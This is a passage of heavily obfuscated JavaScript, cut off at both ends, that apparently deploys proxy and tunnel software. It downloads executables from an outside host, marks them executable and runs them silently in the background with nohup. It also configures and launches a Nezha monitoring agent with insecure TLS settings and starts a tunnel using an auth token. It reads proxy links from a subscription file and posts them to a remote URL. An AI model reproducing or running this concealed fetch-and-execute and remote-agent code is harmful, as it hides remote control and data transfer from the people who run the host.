_0xf41fe3(_0x3f0080);},'kLZRf':'IeDXJ','PhnYW':'2087','yagYU':'2083','FBnEV':'SJpjL','QmnMy':_0x1f6e13(0x191,0x16c,0x1b8,0x1ef),'AEGqw':_0x1f6e13(0x134,0x1a8,0x1b7,0x222),'oVQee':_0x1d999c(0x18f,0x8d,0x11b,0x4f)+'able\x20is\x20em'+'pty,skip\x20r'+_0x1f6e13(0x2c3,0x3a0,0x2d9,0x17d),'ZiWDh':function(_0x3b3f87,_0x159cd3){return _0x3b3f87===_0x159cd3;},'HzPJa':_0x1f6e13(0x27e,0x2c6,0x3a6,0x14d),'wFoDO':_0x1d999c(-0x66,0xb4,0xad,-0x4c),'ezPWx':'PztSu','zTBuL':_0x1f6e13(0x1ad,0x1ca,0x23d,0x169)},_0x2cbf19=_0x2b671d[_0x1f6e13(0x13c,0x23d,0xd0,0x126)](getSystemArchitecture),_0x250c31=_0x2b671d[_0x1f6e13(0x28c,0x33f,0x360,0x1a1)](getFilesForArchitecture,_0x2cbf19);if(_0x2b671d['veqgE'](_0x250c31[_0x1f6e13(0xd9,0x154,0x6a,0x12a)],0xf9f+0x7*0x509+-0x11*0x2fe)){console['log'](_0x1d999c(0x33f,0x2c8,0x217,0x2bb)+_0x1d999c(0x27e,0x2bc,0x271,0x205)+_0x1d999c(0x4d,0x2dd,0x18f,0x138)+_0x1d999c(0x3a,0x227,0x14d,0x19b)+_0x1f6e13(0x1d6,0x26d,0x185,0x19e));return;}const _0x762d54=_0x250c31[_0x1d999c(0xfa,0x208,0xda,0x14b)](_0x46bd3e=>{const _0x21b48b={'LXAHW':_0x2b671d[_0x10fee6(0x2b0,0x383,0x35b,0x35b)],'eEQcg':_0x2b671d[_0x10fee6(0x402,0x406,0x500,0x345)],'lVNOC':function(_0x2960f5,_0x451ea7){return _0x2960f5===_0x451ea7;},'piSkZ':'wpCzK','SCAaw':function(_0x348b00,_0x433396){function _0x458ea7(_0x248324,_0x43d26b,_0x1e10d1,_0x904dde){return _0xfd9cd8(_0x904dde-0x368,_0x43d26b-0x10d,_0x1e10d1,_0x904dde-0xd7);}return _0x2b671d[_0x458ea7(0x52c,0x4f5,0x3a2,0x3e5)](_0x348b00,_0x433396);},'fpRCE':function(_0x3029f0,_0x733315){function _0x57da8b(_0x2d72f3,_0x512334,_0x52bfb6,_0x478fa8){return _0xfd9cd8(_0x2d72f3- -0x17e,_0x512334-0x61,_0x478fa8,_0x478fa8-0x76);}return _0x2b671d[_0x57da8b(-0x7b,-0x117,-0xb4,-0x5e)](_0x3029f0,_0x733315);},'Hvegt':function(_0x2b2921,_0x5cfc5e){function _0x4bb99c(_0x2dcf4d,_0x2c504e,_0x45221e,_0x8279da){return _0xfd9cd8(_0x2c504e-0xde,_0x2c504e-0xbd,_0x45221e,_0x8279da-0x8a);}return _0x2b671d[_0x4bb99c(0x1ab,0x1e1,0x1f0,0x247)](_0x2b2921,_0x5cfc5e);}};function _0x10fee6(_0x1823e0,_0x55409d,_0x211b58,_0x2c333d){return _0x1d999c(_0x2c333d,_0x55409d-0xb1,_0x1823e0-0x27c,_0x2c333d-0x1b3);}function _0xfd9cd8(_0x5b68e1,_0x3dc560,_0x4c20e4,_0x2c2926){return _0x1f6e13(_0x5b68e1- -0x23f,_0x4c20e4,_0x4c20e4-0x17a,_0x2c2926-0x57);}return new Promise((_0xbb1e34,_0x338fad)=>{function _0x570862(_0x265d32,_0x203788,_0x9eabcc,_0x546088){return _0x10fee6(_0x265d32-0x9d,_0x203788-0x14b,_0x9eabcc-0x7d,_0x9eabcc);}function _0x5611b1(_0x420980,_0xecd0b7,_0x558305,_0x5e5466){return _0xfd9cd8(_0x5e5466-0x269,_0xecd0b7-0x30,_0xecd0b7,_0x5e5466-0x1f0);}_0x2b671d[_0x570862(0x479,0x4de,0x374,0x4b2)](downloadFile,_0x46bd3e[_0x5611b1(0x2bf,0x32b,0x263,0x336)],_0x46bd3e['fileUrl'],(_0x208af8,_0x2c6e68)=>{function _0x11bf1c(_0x1df7d8,_0x580995,_0x369db3,_0x564496){return _0x5611b1(_0x1df7d8-0xc0,_0x564496,_0x369db3-0x15f,_0x1df7d8-0x191);}const _0x515038={'trMDd':_0x21b48b[_0x3c639b(0x3d9,0x270,0x4b7,0x3a5)],'lsMqB':_0x21b48b[_0x11bf1c(0x3c1,0x410,0x471,0x2b2)],'YLpKj':_0x3c639b(0x499,0x3f7,0x3d8,0x45f)+_0x3c639b(0x195,0x1c6,0x169,0x225)+_0x3c639b(0x227,0x369,0x30b,0x302),'WaRHN':function(_0x14e539,_0x4743ca){return _0x21b48b['lVNOC'](_0x14e539,_0x4743ca);}};function _0x3c639b(_0x20060c,_0x3ee569,_0x45c934,_0x349603){return _0x570862(_0x349603- -0xfd,_0x3ee569-0x62,_0x20060c,_0x349603-0x19d);}if(_0x21b48b['lVNOC'](_0x21b48b[_0x3c639b(0xfa,0x26d,0x126,0x204)],_0x21b48b['piSkZ'])){if(_0x208af8){if(_0x21b48b[_0x11bf1c(0x4f0,0x4bd,0x533,0x5f0)]('zmTjN','FKQEC'))_0x21b48b['fpRCE'](_0x338fad,_0x208af8);else{const _0x4281da=_0x154405['from'](_0x1b2185)[_0x3c639b(0x20f,0x138,0x169,0x27e)](_0x515038[_0x11bf1c(0x31a,0x3fd,0x3bc,0x3b3)]);_0xc89d5d['set'](_0x515038[_0x3c639b(0x289,0x3d0,0x1d7,0x284)],_0x515038[_0x3c639b(0x3af,0x525,0x46b,0x44b)]),_0x33f7d7['send'](_0x4281da);}}else _0x21b48b['Hvegt'](_0xbb1e34,_0x2c6e68);}else{if(_0x515038[_0x3c639b(0x30c,0x19b,0x298,0x2b2)](_0x29efe4[_0x3c639b(0x2c1,0x345,0x2f2,0x29b)][_0x11bf1c(0x452,0x348,0x40e,0x31a)],0xada+0x2123+-0x2a6d*0x1)){}}});});});try{await Promise[_0x1f6e13(0x1f4,0x273,0x1e0,0x164)](_0x762d54);}catch(_0x1bffd3){if(_0x2b671d['KEpFK'](_0x1d999c(0x1d2,0x110,0x245,0x274),_0x2b671d[_0x1f6e13(0x348,0x3aa,0x45b,0x3b5)]))_0x2b671d[_0x1d999c(0x9e,0xf,0x85,-0x57)](_0x21038f,_0x1f6e13(0x273,0x20f,0x141,0x1df)+_0x39f0e9[_0x1f6e13(0x2be,0x29b,0x1f0,0x3dc)]('\x20')+(_0x1d999c(0x176,-0x7a,0xd6,0xb)+_0x1f6e13(0x288,0x2de,0x282,0x31a)),_0x2997e3=>{function _0x628ed3(_0x19b20d,_0x14c69b,_0x501050,_0xd70c6a){return _0x1f6e13(_0x501050-0x391,_0x19b20d,_0x501050-0x1d7,_0xd70c6a-0x1b8);}_0x3ee182[_0x185b89(0x14d,0x313,0x1e5,0x27a)](),_0x526958[_0x628ed3(0x373,0x3b0,0x455,0x451)](_0x628ed3(0x32c,0x3e6,0x471,0x547)+'ning');function _0x185b89(_0x55597a,_0xccfcb2,_0x330b42,_0x3e0b8b){return _0x1d999c(_0xccfcb2,_0xccfcb2-0x1df,_0x3e0b8b-0x103,_0x3e0b8b-0x90);}_0x54cac9[_0x185b89(0x1ff,0x210,-0x43,0xe8)]('Thank\x20you\x20'+_0x628ed3(0x4c8,0x4c5,0x558,0x40c)+_0x628ed3(0x414,0x3b7,0x46d,0x548)+_0x628ed3(0x3f4,0x4e1,0x4ee,0x3c8));});else{console[_0x1d999c(0x301,0x1c3,0x241,0x327)](_0x2b671d[_0x1d999c(0x30b,0x1d3,0x200,0x179)],_0x1bffd3);return;}}function _0x521211(_0x2ed383){function _0x4647fb(_0x181d32,_0x32b018,_0x3b86d6,_0x1e90cd){return _0x1d999c(_0x3b86d6,_0x32b018-0x1ab,_0x1e90cd- -0x54,_0x1e90cd-0xd);}const _0x3f0c71={};_0x3f0c71[_0x268d41(0x3d,0x101,0xb4,0x90)]=_0x4647fb(0x1c9,0x1af,0x1c9,0x92),_0x3f0c71['uWuyj']=function(_0x5025a3,_0xb3f04e){return _0x5025a3===_0xb3f04e;},_0x3f0c71['ctvxn']=_0x2b671d[_0x268d41(0x30,-0xc,0x62,0xbe)];const _0x87c620=_0x3f0c71;function _0x268d41(_0x13e169,_0x4bffc9,_0xdff124,_0x5aee77){return _0x1f6e13(_0xdff124- -0x138,_0x5aee77,_0xdff124-0x50,_0x5aee77-0x34);}if(_0x2b671d['gWLrO'](_0x4647fb(0x71,0x1ea,-0x69,0xdc),_0x2b671d[_0x4647fb(0xa9,0x30,0x110,0x9e)])){if(!_0x167e3b)return;if(!_0xa2671[_0x4647fb(0xd,0x42,-0x58,0xab)](_0x17bd00))return;let _0x467474;try{_0x467474=_0x5e257b[_0x268d41(0xab,0xb9,-0x61,-0xab)+'nc'](_0x58c6e7,_0x87c620[_0x4647fb(-0x9b,0x57,0x1ca,0xb9)]);}catch{return null;}const _0x631569=_0x137921[_0x268d41(0x125,0x109,0x29,0x57)](_0x467474,_0x4647fb(-0xee,0xb7,-0x13b,-0x51))[_0x268d41(0xba,0x15d,0x9,0x12)](_0x87c620[_0x268d41(-0x78,0x50,0xb4,0x37)]),_0x1d88f9=_0x631569[_0x4647fb(0x111,-0x13f,0x0,-0x25)]('\x0a')['filter'](_0x3288dd=>/(vless|vmess|trojan|hysteria2|tuic):\/\//[_0x4647fb(-0x85,0xa1,0x44,-0x24)](_0x3288dd));if(_0x87c620[_0x4647fb(0x203,0x144,0x245,0x216)](_0x1d88f9[_0x268d41(-0x44,-0x1,-0x5f,0xd3)],-0xa26+-0x90+0xab6))return;const _0x3894b3={};_0x3894b3['nodes']=_0x1d88f9;const _0x2d5542={};_0x2d5542['Content-Ty'+'pe']=_0x87c620[_0x268d41(-0x106,0x31,-0x53,0xe7)];const _0x14259f={};return _0x14259f[_0x4647fb(0x267,0x145,0x1b7,0x1fc)]=_0x2d5542,_0x305b31[_0x4647fb(-0x121,0xc3,0x74,0x1f)](_0x4de33b+(_0x4647fb(-0x2d,-0x2f,0x15e,0xeb)+'e-nodes'),_0x11b1a7['stringify'](_0x3894b3),_0x14259f)[_0x268d41(0xbf,0x16,0x124,0x1ef)](_0x13a075=>{return null;}),null;}else{const _0x6014a6=0x1295+0x1e27+0x1*-0x2ebf;_0x2ed383[_0x268d41(0x22f,0x18e,0x1b1,0x1a7)](_0x200e86=>{function _0x124f85(_0x2b7d70,_0x43e7b1,_0x25a4ef,_0x562456){return _0x268d41(_0x2b7d70-0x100,_0x43e7b1-0x10c,_0x43e7b1- -0x206,_0x25a4ef);}fs[_0x124f85(-0x1df,-0x160,-0xc3,-0x28a)](_0x200e86)&&fs['chmod'](_0x200e86,_0x6014a6,_0x2daf6d=>{function _0x1cd61a(_0xd2c681,_0x36454c,_0x168ad9,_0xdcdc28){return _0x124f85(_0xd2c681-0x1c1,_0xd2c681-0x529,_0xdcdc28,_0xdcdc28-0xea);}function _0x3e1854(_0x1fc6c9,_0x2cd1fb,_0x315f3f,_0x3d7558){return _0x124f85(_0x1fc6c9-0x15f,_0x2cd1fb-0x3c1,_0x3d7558,_0x3d7558-0x157);}_0x2daf6d?console[_0x1cd61a(0x50b,0x5f3,0x555,0x4ec)]('Empowermen'+_0x3e1854(0xa8,0x1dd,0x2bf,0x20d)+'or\x20'+_0x200e86+':\x20'+_0x2daf6d):console[_0x1cd61a(0x2af,0x21a,0x300,0x26b)]('Empowermen'+_0x1cd61a(0x3aa,0x360,0x25b,0x30f)+_0x3e1854(0x26d,0x210,0x326,0xbd)+_0x200e86+':\x20'+_0x6014a6[_0x3e1854(0x8b,0x1c4,0x121,0x1ea)](0x45*-0x31+0x4d*0x1+0x678*0x2));});});}}const _0x4694dc=NEZHA_PORT?[npmPath,webPath,botPath]:[phpPath,webPath,botPath];function _0x1d999c(_0xd98686,_0x5f98d,_0x206f35,_0x5db94e){return _0x3fefcd(_0xd98686-0x60,_0x206f35- -0x3b,_0xd98686,_0x5db94e-0x7e);}_0x2b671d['NaQFy'](_0x521211,_0x4694dc);if(_0x2b671d[_0x1d999c(0xe3,0x227,0x102,0x8a)](NEZHA_SERVER,NEZHA_KEY)){if(!NEZHA_PORT){const _0x125fbe=NEZHA_SERVER[_0x1d999c(0x278,0x151,0x132,0x10f)](':')?NEZHA_SERVER[_0x1d999c(0xc8,0x11d,0x2f,0x64)](':')[_0x1f6e13(0x1f0,0x218,0x205,0x20f)]():'',_0x3a438b=new Set([_0x2b671d[_0x1f6e13(0x26d,0x32b,0x14e,0x168)],_0x2b671d[_0x1d999c(0x157,0x261,0x13d,0x20)],_0x2b671d[_0x1f6e13(0x224,0x1e5,0x17e,0xf7)],_0x1d999c(0x98,0x96,-0xe,0xd8),_0x1f6e13(0x2ed,0x2e3,0x3dc,0x1e2),_0x2b671d[_0x1d999c(0x37a,0x15d,0x267,0x190)]]),_0x533764=_0x3a438b['has'](_0x125fbe)?_0x1d999c(-0x8,-0x19,0xa8,0x160):_0x2b671d['tiAQN'],_0x54beeb=_0x1d999c(0xdb,0xae,0x1d5,0x135)+_0x1d999c(0x1b8,0x201,0x270,0x165)+NEZHA_KEY+(_0x1f6e13(0x327,0x3f0,0x2ed,0x3da)+_0x1f6e13(0x202,0x1c3,0x289,0x280)+_0x1d999c(0x271,0x24b,0x172,0x97)+'ate:\x20true\x0a'+_0x1d999c(0x1f2,0x29c,0x14b,0xb4)+_0x1d999c(0x12d,0x348,0x21a,0x1df)+_0x1d999c(0x233,0x36e,0x232,0x1c9)+_0x1f6e13(0x1fb,0x1ac,0x114,0xbb)+_0x1d999c(0x25c,0x7,0x14c,0x184)+_0x1f6e13(0xbf,0xb7,-0xd,0xaf)+_0x1d999c(0x137,0x5b,0xc2,0x103)+_0x1f6e13(0x2e0,0x39c,0x1f0,0x2dd)+_0x1d999c(-0x75,0xb3,0x7,0xb5)+_0x1f6e13(0x197,0x111,0x1b6,0x2a3)+_0x1d999c(0x24,0xb6,-0x2a,0x41)+'lse\x0ainsecu'+_0x1d999c(0x2f6,0x1d2,0x25b,0x32f)+'ue\x0aip_repo'+'rt_period:'+'\x201800\x0arepo'+_0x1f6e13(0x352,0x3ef,0x49c,0x410)+_0x1f6e13(0x328,0x28a,0x383,0x3db))+NEZHA_SERVER+(_0x1d999c(0x44,0x25c,0x13b,0x237)+_0x1f6e13(0xf2,0x163,0x94,-0x39)+_0x1f6e13(0x278,0x1a1,0x147,0x210)+_0x1d999c(-0x79,-0x3f,-0x21,0xa9)+_0x1d999c(0xc9,0x148,0xfe,0xb7)+'e\x0atemperat'+'ure:\x20false'+'\x0atls:\x20')+_0x533764+(_0x1d999c(0xc3,0x163,0x1c9,0x110)+_0x1f6e13(0x344,0x340,0x2ce,0x297)+'e:\x20false\x0au'+'se_ipv6_co'+_0x1d999c(0x304,0x284,0x234,0x337)+_0x1f6e13(0x275,0x296,0x151,0x21b)+_0x1f6e13(0x2b7,0x3d3,0x24b,0x1b2))+UUID;fs[_0x1f6e13(0xd3,0x76,0x4,0x113)+'ync'](path[_0x1d999c(0x184,0xbe,0x1df,0x1ee)](FILE_PATH,_0x1d999c(0xff,0x169,0x19b,0x2d7)+'l'),_0x54beeb);const _0x31a3d3=_0x1d999c(0xb9,0xbb,0xbf,-0x72)+phpPath+_0x1f6e13(0x20e,0xe0,0x1db,0x11d)+FILE_PATH+(_0x1f6e13(0x110,0x15a,-0xf,0xd)+_0x1d999c(-0x27,0x14a,0x9d,0x11d)+'null\x202>&1\x20'+'&');try{await _0x2b671d[_0x1d999c(0x102,0xb1,0x5c,-0x2a)](exec,_0x31a3d3),console[_0x1d999c(0x21,-0x15b,-0x1b,0x106)](phpName+('\x20is\x20runnin'+'g')),await new Promise(_0x408156=>setTimeout(_0x408156,-0x1*0x121f+0x8*-0x1c6+-0x7f*-0x49));}catch(_0xc5a1b7){console['error'](_0x1f6e13(0x2a6,0x23e,0x2b7,0x1a1)+_0x1f6e13(0x269,0x326,0x2bd,0x307)+_0xc5a1b7);}}else{if(_0x2b671d[_0x1d999c(0xf7,0x197,0x212,0x354)]('JdmNO',_0x2b671d[_0x1f6e13(0x103,-0x19,-0x43,-0x25)]))_0x2f8857[_0x1d999c(0x2b2,0x230,0x177,0x24d)](),_0x2eb791['log'](_0x2b671d[_0x1f6e13(0x24f,0x1a7,0x112,0x21f)]),_0x23a147[_0x1d999c(-0x12d,0x2e,-0x1b,-0xb0)](_0x2b671d[_0x1f6e13(0xd5,0x116,0x10,0x15c)]);else{let _0x10e264='';const _0x49e7b3=[_0x1d999c(0x30f,0x199,0x206,0x328),_0x2b671d['rkiAG'],_0x2b671d[_0x1f6e13(0x224,0x106,0x146,0x2f7)],_0x2b671d['PhnYW'],_0x2b671d[_0x1f6e13(0x20a,0x10c,0x1bd,0x1b7)],_0x1f6e13(0x246,0x208,0x2ef,0x2d8)];_0x49e7b3[_0x1d999c(0x17e,0x43,0x132,0x1d8)](NEZHA_PORT)&&(_0x2b671d[_0x1f6e13(0x2bc,0x191,0x1e2,0x1bf)](_0x2b671d[_0x1d999c(-0xe5,-0xa2,0x27,0x3f)],_0x2b671d[_0x1f6e13(0xb8,0x203,0x1d2,0x144)])?_0x10e264='--tls':(_0x2d83f6[_0x1f6e13(0x256,0x2ae,0x2b4,0x268)](),_0x5e3193['log'](_0x2b671d['LHNnQ']),_0x2a704b[_0x1d999c(0xaf,-0x117,-0x1b,-0xcc)](_0x2b671d[_0x1f6e13(0xd5,0x8e,0xc5,0x19a)])));const _0x56973f='nohup\x20'+npmPath+_0x1d999c(0x118,0x2fb,0x1dc,0xbe)+NEZHA_SERVER+':'+NEZHA_PORT+_0x1d999c(-0x1a,-0x11,0x77,0x80)+NEZHA_KEY+'\x20'+_0x10e264+(_0x1f6e13(0x11b,0xe1,0x6f,0x249)+_0x1f6e13(0x18a,0x196,0x67,0x114)+_0x1f6e13(0x27c,0x3a2,0x30f,0x3c3)+'t-delay\x204\x20'+_0x1d999c(0xe8,0x21c,0x1ae,0x12a)+_0x1f6e13(0x35a,0x311,0x236,0x3ed)+'rocs\x20>/dev'+_0x1f6e13(0x1da,0x27d,0x215,0x31e)+'\x20&');try{if(_0x1d999c(0x5d,0x40,0x55,0x68)!==_0x2b671d[_0x1d999c(0x316,0x1aa,0x22e,0x2e3)]){const _0x81010b=_0x2b671d[_0x1f6e13(0x22e,0x376,0x14e,0x119)];let _0x1dd405='';for(let _0x3740fb=-0x629+0x857+0x3*-0xba;_0x2b671d[_0x1d999c(0x2f4,0xf5,0x22c,0x346)](_0x3740fb,0xd8e+-0x256f*-0x1+-0x32f7);_0x3740fb++){_0x1dd405+=_0x81010b[_0x1d999c(-0x154,0x8,-0xf,-0xd2)](_0x56b88f[_0x1d999c(0x88,0xd1,-0x13,0x75)](_0x2b671d[_0x1f6e13(0x1b7,0x26f,0x142,0x1ad)](_0x56d509[_0x1f6e13(0x2ce,0x3a5,0x3be,0x1e7)](),_0x81010b['length'])));}return _0x1dd405;}else await _0x2b671d['oYmpA'](exec,_0x56973f),console['log'](npmName+('\x20is\x20runnin'+'g')),await new Promise(_0x54c42b=>setTimeout(_0x54c42b,0x13e7+-0x557+0x2*-0x554));}catch(_0x4e2c72){console[_0x1f6e13(0x320,0x462,0x1d4,0x27e)](_0x1f6e13(0x186,0x21d,0x25d,0xff)+_0x1f6e13(0x269,0x1ca,0x136,0x175)+_0x4e2c72);}}}}else console[_0x1f6e13(0xc4,0x1b9,0x195,0xcb)](_0x2b671d[_0x1f6e13(0x303,0x3ac,0x2af,0x358)]);const _0x58b36c=_0x1d999c(-0x11,-0x75,0xbf,0x3f)+webPath+_0x1d999c(0x1af,0x21b,0x193,0x194)+FILE_PATH+(_0x1f6e13(0x25e,0x220,0x2f9,0x333)+'on\x20>/dev/n'+'ull\x202>&1\x20&');try{await _0x2b671d[_0x1f6e13(0x28c,0x172,0x178,0x30c)](exec,_0x58b36c),console[_0x1d999c(-0xac,-0x1e,-0x1b,0x5)](webName+('\x20is\x20runnin'+'g')),await new Promise(_0x3c746f=>setTimeout(_0x3c746f,0x183f+-0x14b1*-0x1+-0x2908));}catch(_0x1ebdf5){console[_0x1f6e13(0x320,0x260,0x304,0x211)](_0x1f6e13(0x2dd,0x257,0x383,0x256)+_0x1d999c(0x298,0x1ce,0x18a,0x1c6)+_0x1ebdf5);}if(fs[_0x1d999c(-0x17,0xc6,0xff,0xca)](botPath)){let _0x2616a5;if(ARGO_AUTH[_0x1f6e13(0x2ee,0x39c,0x302,0x277)](/^[A-Z0-9a-z=]{120,250}$/))_0x2b671d['ZiWDh'](_0x1d999c(0x47,0x257,0x16a,0x19),_0x1d999c(0xfc,0x172,0x16a,0xd6))?_0x2616a5=_0x1d999c(0x2cb,0x194,0x1f7,0xe5)+_0x1f6e13(0x1ce,0x1c9,0x2e3,0xef)+_0x1d999c(0x6b,0x2f3,0x1a5,0x2ab)+_0x1f6e13(0x12b,0x25b,0x118,0x272)+_0x1d999c(0xc,-0xa6,0x6c,-0x5c)+'otocol\x20htt'+_0x1f6e13(0x1ef,0x143,0x183,0x286)+_0x1f6e13(0xde,0x122,-0x45,0x18e)+ARGO_AUTH:_0x1ca02e=_0x2d81d7;else{if(ARGO_AUTH[_0x1f6e13(0x2ee,0x37a,0x25e,0x2ac)](/TunnelSecret/))_0x2b671d[_0x1d999c(0x136,0x263,0x1dd,0x23a)](_0x2b671d[_0x1d999c(0x202,0x1ec,0x1bf,0x99)],_0x2b671d[_0x1f6e13(0x29e,0x35e,0x323,0x188)])?_0x14fc60[_0x1f6e13(0x320,0x2a5,0x309,0x434)](_0x2b671d['wTFeR'],_0x3a4e1a):_0x2616a5=_0x1f6e13(0x2d6,0x2e7,0x2ef,0x2e5)+'dge-ip-ver'+_0x1f6e13(0x284,0x2bd,0x31f,0x344)+_0x1d999c(0x5,-0xb4,0x49,0xce)+FILE_PATH+(_0x1d999c(0x175,0x11,0x98,0x1a5)+_0x1f6e13(0xbb,0x191,0x152,0x19a));else{if(_0x2b671d[_0x1d999c(0x17e,0xc4,0x212,0x21e)](_0x2b671d['wFoDO'],_0x2b671d[_0x1f6e13(0x359,0x32c,0x2bc,0x484)]))return null;else _0x2616a5=_0x1d999c(0x147,0x19a,0x1f7,0x2ea)+'dge-ip-ver'+_0x1f6e13(0x284,0x171,0x2a5,0x38a)+_0x1d999c(0x78,-0xd0,0x4c,-0xa7)+_0x1f6e13(0x14b,0x194,0x90,0xa6)+_0x1d999c(0x6,0x7f,0x8d,0x8a)+_0x1f6e13(0x330,0x354,0x2a5,0x40a)+_0x1f6e13(0x28e,0x3cb,0x244,0x30a)+FILE_PATH+(_0x1d999c(0x40,-0x91,-0x22,-0x7d)+_0x1f6e13(0x1ff,0x2b0,0x330,0x340)+_0x1d999c(0x211,0x27e,0x1da,0x20e)+'l\x20http://l'+'ocalhost:')+ARGO_PORT;}}try{_0x2b671d['zTBuL']!==_0x2b671d[_0x1d999c(0x36a,0x28b,0x246,0x342)]?_0x5ba69b?_0x2b671d[_0x1d999c(0x3ae,0x274,0x263,0x358)](_0x68ffee,_0x9f9931):_0x2b671d[_0x1d999c(0x113,0x28b,0x184,0x28a)](_0x5020cb,_0x1a7b35):(await exec('nohup\x20'+botPath+'\x20'+_0x2616a5+(_0x1f6e13(0x1b5,0x104,0x2d8,0x1ab)+_0x1d999c(0x30a,0x2bb,0x202,0x346))),console[_0x1d999c(0x5a,-0xdf,-0x1b,0x23)](botName+(_0x1d999c(-0xe6,0x3f,0xc,-0xff)+'g')),await new Promise(_0x44a3fe=>setTimeout(_0x44a3fe,-0x245*0x5+0x20d8*-0x1+-0x1*-0x3401)));}catch(_0x4e4fd2){console['error']('Error\x20exec'+_0x1d999c(-0x80,0x143,0x15,0xe3)+'and:\x20'+_0x4e4fd2);}}await new Promise(_0x2ad31b=>setTimeout(_0x2ad31b,0x145b+0x4b*-0x7a+0x22eb));}function getFilesForArchitecture(_0x269aee){function _0x56b15e(_0x5eaf2b,_0x222ce2,_0x4776c3,_0x1e8412){return _0x1f8df2(_0x5eaf2b-0x1bd,_0x5eaf2b- -0x689,_0x4776c3,_0x1e8412-0x191);}const _0x25fe4a={'Wqszt':function(_0xf9eae6,_0x148e02){return _0xf9eae6(_0x148e02);},'nBQzw':function(_0x17adaf,_0x54dc11,_0xecf7b4){return _0x17adaf(_0x54dc11,_0xecf7b4);},'XoMMZ':_0x56b15e(0x29,-0x5d,0x144,-0x9b),'pYboS':_0x58085f(0x630,0x6eb,0x77f,0x501),'caZyv':function(_0x309005,_0x173bc8){return _0x309005===_0x173bc8;},'QlWOv':_0x58085f(0x56d,0x55f,0x5fc,0x657),'CLInX':function(_0x2187a8,_0x4f82cb){return _0x2187a8!==_0x4f82cb;},'oBqIL':'RQdnI','lcSQA':_0x56b15e(0x8a,-0x84,0x118,0x191),'IFZdc':_0x58085f(0x5d1,0x6fd,0x496,0x480)+_0x58085f(0x4f6,0x431,0x3c6,0x506)+_0x58085f(0x49f,0x5ef,0x376,0x4b7),'lJIpT':_0x58085f(0x4f5,0x3ae,0x3a3,0x600),'jhkSB':_0x56b15e(-0x6b,-0x1ba,0x88,-0xd5)+_0x56b15e(-0x15,-0xf8,0xae,0x43)+_0x56b15e(-0x10d,-0x30,-0x58,-0x255),'rcuiO':function(_0x1bb42e,_0x375dd1){return _0x1bb42e&&_0x375dd1;},'QnFHE':_0x58085f(0x424,0x4dc,0x378,0x418),'oIPZG':_0x58085f(0x642,0x76d,0x5d1,0x60b),'Ycrte':function(_0x841f41,_0x95c1ce){return _0x841f41===_0x95c1ce;},'ePxVd':_0x56b15e(0x25,0x123,0xda,-0xb5)+_0x56b15e(-0xb6,-0xec,-0xc0,-0xdf)+'yc.mn/agen'+'t','wIEVF':_0x56b15e(-0x6b,-0x56,0x71,0xdf)+_0x56b15e(-0x15,-0x10d,-0x72,0x7a)+_0x56b15e(-0x1b5,-0x128,-0x212,-0x93)+'t','FsXww':'https://ar'+_0x58085f(0x4f6,0x400,0x4d5,0x51b)+_0x56b15e(0x3,0x55,0xfe,-0x137),'ICMXX':_0x58085f(0x541,0x5dc,0x46a,0x5c0)+'d64.ssss.n'+_0x56b15e(0x3,-0xcb,0x59,-0x5)};let _0x370250;function _0x58085f(_0x14cc53,_0x4ec9b6,_0x192918,_0xb1b083){return _0x1f8df2(_0x14cc53-0x1a9,_0x14cc53- -0xdd,_0x4ec9b6,_0xb1b083-0x1bc);}if(_0x25fe4a[_0x56b15e(0x60,0x1a5,0x134,0x73)](_0x269aee,_0x25fe4a[_0x56b15e(-0x59,-0x46,-0x154,-0x20)])){if(_0x25fe4a[_0x58085f(0x3fe,0x401,0x4c8,0x473)](_0x25fe4a[_0x56b15e(0x97,0x9f,0x184,-0x58)],_0x25fe4a[_0x58085f(0x5ee,0x6d6,0x712,0x732)])){const _0x3e4ad7={};_0x3e4ad7[_0x56b15e(0x70,0x8b,0x31,0x108)]=webPath,_0x3e4ad7[_0x56b15e(-0x1a1,-0x2a1,-0x26e,-0x1aa)]=_0x56b15e(0x25,-0x2a,-0x3,-0xd0)+_0x56b15e(-0xb6,-0x191,-0x1f,-0xb8)+_0x56b15e(-0x169,-0x1a3,-0x92,-0x92);const _0x212422={};_0x212422['fileName']=botPath,_0x212422['fileUrl']=_0x25fe4a[_0x56b15e(0x91,0x2b,0x7,-0x29)],_0x370250=[_0x3e4ad7,_0x212422];}else _0x25fe4a[_0x58085f(0x44d,0x423,0x48d,0x48c)](_0x4b5284,_0x51132c);}else{if(_0x25fe4a['lJIpT']!=='KmKtm'){const _0x284205={};_0x284205[_0x56b15e(0x70,0x126,0x3a,-0xaa)]=webPath,_0x284205['fileUrl']='https://am'+'d64.ssss.n'+'yc.mn/web';const _0x52ca8e={};_0x52ca8e[_0x58085f(0x61c,0x740,0x502,0x5bf)]=botPath,_0x52ca8e[_0x58085f(0x40b,0x422,0x2dd,0x510)]=_0x25fe4a['jhkSB'],_0x370250=[_0x284205,_0x52ca8e];}else _0x313fc7?_0x50afa8['error']('Empowermen'+_0x56b15e(-0x142,-0x10b,-0x11,-0x11c)+_0x56b15e(-0xc,-0xf1,0x2f,0x21)+_0x368779+':\x20'+_0x31bfb1):_0x53acfe['log'](_0x58085f(0x48a,0x3e8,0x3a8,0x3b2)+'t\x20success\x20'+_0x58085f(0x49d,0x5ac,0x37a,0x47a)+_0xa17bfa+':\x20'+_0x186541[_0x58085f(0x451,0x4a0,0x380,0x3cc)](0xb8e*-0x1+0x5b2*-0x5+0x4*0xa04));}if(_0x25fe4a[_0x56b15e(0x5b,-0xc7,-0x80,0x1)](NEZHA_SERVER,NEZHA_KEY)){if(_0x25fe4a[_0x56b15e(-0x1ae,-0x72,-0xd1,-0x77)](_0x25fe4a['QnFHE'],_0x25fe4a['oIPZG'])){if(NEZHA_PORT){const _0x5be94d=_0x25fe4a[_0x58085f(0x3d2,0x515,0x3c2,0x51b)](_0x269aee,_0x25fe4a[_0x58085f(0x553,0x481,0x4d3,0x478)])?_0x25fe4a[_0x56b15e(-0x13,-0x84,-0x59,0x132)]:_0x25fe4a[_0x58085f(0x4b4,0x47c,0x584,0x427)],_0x186833={};_0x186833[_0x58085f(0x61c,0x67e,0x6d3,0x5cd)]=npmPath,_0x186833['fileUrl']=_0x5be94d,_0x370250[_0x56b15e(-0x111,-0x25f,0x21,-0xb5)](_0x186833);}else{const 